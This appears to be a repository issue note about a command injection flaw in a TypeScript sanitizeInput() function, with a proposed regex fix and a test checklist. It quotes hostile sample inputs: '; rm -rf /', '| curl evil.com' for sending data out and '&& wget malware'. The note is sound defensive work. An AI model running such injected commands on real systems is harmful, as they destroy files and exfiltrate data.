CRITICAL_FIXES_NEEDED.md•2.36 kB
# CRITICAL SECURITY FIXES NEEDED
## 🔴 URGENT: Command Injection Vulnerability
### Problem
The `sanitizeInput()` function in `/src/security/InputValidator.ts` is NOT removing dangerous characters, leaving the system vulnerable to command injection attacks.
### Current State (BROKEN)
```typescript
// Test input: "; rm -rf /"
// After sanitizeInput(): "; rm -rf /" (NO CHANGE!)
```
### Required Fix
```typescript
// src/security/InputValidator.ts
export function sanitizeInput(input: string): string {
if (!input) return '';
// Remove command injection characters
let sanitized = input
.replace(/[;&|`$()]/g, '') // Shell metacharacters
.replace(/\r?\n/g, ' ') // Newlines
.replace(/\x00/g, '') // Null bytes
.replace(/[\x1B\x9B]/g, '') // ANSI escape sequences
.replace(/[\u202E\uFEFF]/g, '') // Unicode direction/zero-width
.trim();
return sanitized;
}
```
## Test Failures Summary
### 1. Input Validation Tests (`input-validation-security.test.ts`)
- **Failing**: sanitizeInput tests - dangerous characters not removed
- **Impact**: Command injection possible in all user inputs
### 2. MCP Tools Security Tests (`mcp-tools-security.test.ts`)
- **Issue**: Import errors due to ESM/CommonJS
- **Fix**: Remove `__filename`/`__dirname`, use `process.cwd()`
### 3. Security Validators Tests (`security-validators.test.ts`)
- **Status**: Depends on fixing sanitizeInput first
## Quick Fix Commands
```bash
# 1. Fix the sanitizeInput function
code src/security/InputValidator.ts
# 2. Test the fix
npm test -- __tests__/security/tests/input-validation-security.test.ts
# 3. Run all security tests
npm run security:all
# 4. If all pass, commit and push
git add -A
git commit -m "Fix critical command injection vulnerability in sanitizeInput"
git push
```
## Validation Checklist
- [ ] sanitizeInput removes: ; | & $ ` ( )
- [ ] sanitizeInput removes: \n \r \x00
- [ ] sanitizeInput removes: ANSI escapes
- [ ] All input validation tests pass
- [ ] All security tests pass
- [ ] No regression in existing tests
## Why This Matters
Without proper input sanitization, attackers can:
- Execute arbitrary commands on the server
- Delete files with `; rm -rf /`
- Exfiltrate data with `| curl evil.com`
- Install backdoors with `&& wget malware`
This MUST be fixed before any production use!